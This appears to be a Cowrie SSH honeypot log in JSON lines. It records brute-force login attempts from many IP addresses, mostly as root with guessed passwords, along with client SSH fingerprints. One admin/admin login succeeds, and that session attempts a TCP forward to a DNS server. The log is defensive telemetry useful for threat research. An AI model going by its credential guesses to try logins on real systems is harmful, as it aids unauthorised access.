{"eventid":"cowrie.login.failed","username":"root","password":"bubble","message":"login attempt [root/bubble] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:40.560624Z","src_ip":"103.173.227.57","session":"f9280a26b6e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:15:41.818972Z","src_ip":"103.173.227.57","session":"f9280a26b6e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":47700,"dst_ip":"10.17.0.5","dst_port":22,"session":"404fc53abab7","protocol":"ssh","message":"New connection: 103.149.28.157:47700 (10.17.0.5:22) [session: 404fc53abab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:07.599538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:07.604835Z","src_ip":"103.149.28.157","session":"404fc53abab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:07.856821Z","src_ip":"103.149.28.157","session":"404fc53abab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"egor1999","message":"login attempt [root/egor1999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:08.613126Z","src_ip":"103.149.28.157","session":"404fc53abab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:09.866610Z","src_ip":"103.149.28.157","session":"404fc53abab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":59622,"dst_ip":"159.203.135.109","dst_port":22,"session":"553f09a00773","protocol":"ssh","message":"New connection: 193.37.70.224:59622 (159.203.135.109:22) [session: 553f09a00773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:43.258401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:43.262878Z","src_ip":"193.37.70.224","session":"553f09a00773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:43.352629Z","src_ip":"193.37.70.224","session":"553f09a00773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17101991","message":"login attempt [root/17101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:43.625212Z","src_ip":"193.37.70.224","session":"553f09a00773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:44.731762Z","src_ip":"193.37.70.224","session":"553f09a00773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":33300,"dst_ip":"159.203.135.109","dst_port":22,"session":"950fd2c701a2","protocol":"ssh","message":"New connection: 103.77.242.62:33300 (159.203.135.109:22) [session: 950fd2c701a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:57.034167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:57.038730Z","src_ip":"103.77.242.62","session":"950fd2c701a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.47","src_port":61824,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3fa9041eaea","protocol":"ssh","message":"New connection: 198.235.24.47:61824 (10.17.0.5:22) [session: c3fa9041eaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:57.193393Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:57.281301Z","src_ip":"103.77.242.62","session":"950fd2c701a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjlrf1","message":"login attempt [root/kjlrf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:58.011699Z","src_ip":"103.77.242.62","session":"950fd2c701a2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:58.275061Z","src_ip":"198.235.24.47","session":"c3fa9041eaea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:59.257997Z","src_ip":"103.77.242.62","session":"950fd2c701a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:16:59.463439Z","src_ip":"198.235.24.47","session":"c3fa9041eaea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32714,"dst_ip":"10.17.0.5","dst_port":22,"session":"51ea5a8341a7","protocol":"ssh","message":"New connection: 87.251.64.176:32714 (10.17.0.5:22) [session: 51ea5a8341a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:02.508424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:02.514083Z","src_ip":"87.251.64.176","session":"51ea5a8341a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:02.618393Z","src_ip":"87.251.64.176","session":"51ea5a8341a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:02.910511Z","src_ip":"87.251.64.176","session":"51ea5a8341a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:03.010568Z","session":"51ea5a8341a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:03.107184Z","src_ip":"87.251.64.176","session":"51ea5a8341a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:03.205601Z","src_ip":"87.251.64.176","session":"51ea5a8341a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42936,"dst_ip":"10.17.0.5","dst_port":22,"session":"40540ebb4db7","protocol":"ssh","message":"New connection: 103.27.238.114:42936 (10.17.0.5:22) [session: 40540ebb4db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:03.655657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:03.660778Z","src_ip":"103.27.238.114","session":"40540ebb4db7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:03.937514Z","src_ip":"103.27.238.114","session":"40540ebb4db7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000666","message":"login attempt [root/000666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:04.765708Z","src_ip":"103.27.238.114","session":"40540ebb4db7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:07.389194Z","src_ip":"198.235.24.47","session":"c3fa9041eaea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:07.671816Z","src_ip":"103.27.238.114","session":"40540ebb4db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":55394,"dst_ip":"10.17.0.5","dst_port":22,"session":"e513900ab26e","protocol":"ssh","message":"New connection: 147.45.197.250:55394 (10.17.0.5:22) [session: e513900ab26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:26.573435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:26.578125Z","src_ip":"147.45.197.250","session":"e513900ab26e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:26.668449Z","src_ip":"147.45.197.250","session":"e513900ab26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jericho","message":"login attempt [root/jericho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:26.937443Z","src_ip":"147.45.197.250","session":"e513900ab26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:17:28.029732Z","src_ip":"147.45.197.250","session":"e513900ab26e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":51196,"dst_ip":"159.203.135.109","dst_port":22,"session":"2944a9ee279e","protocol":"ssh","message":"New connection: 87.251.79.125:51196 (159.203.135.109:22) [session: 2944a9ee279e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:30.846460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:18:30.852525Z","src_ip":"87.251.79.125","session":"2944a9ee279e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""]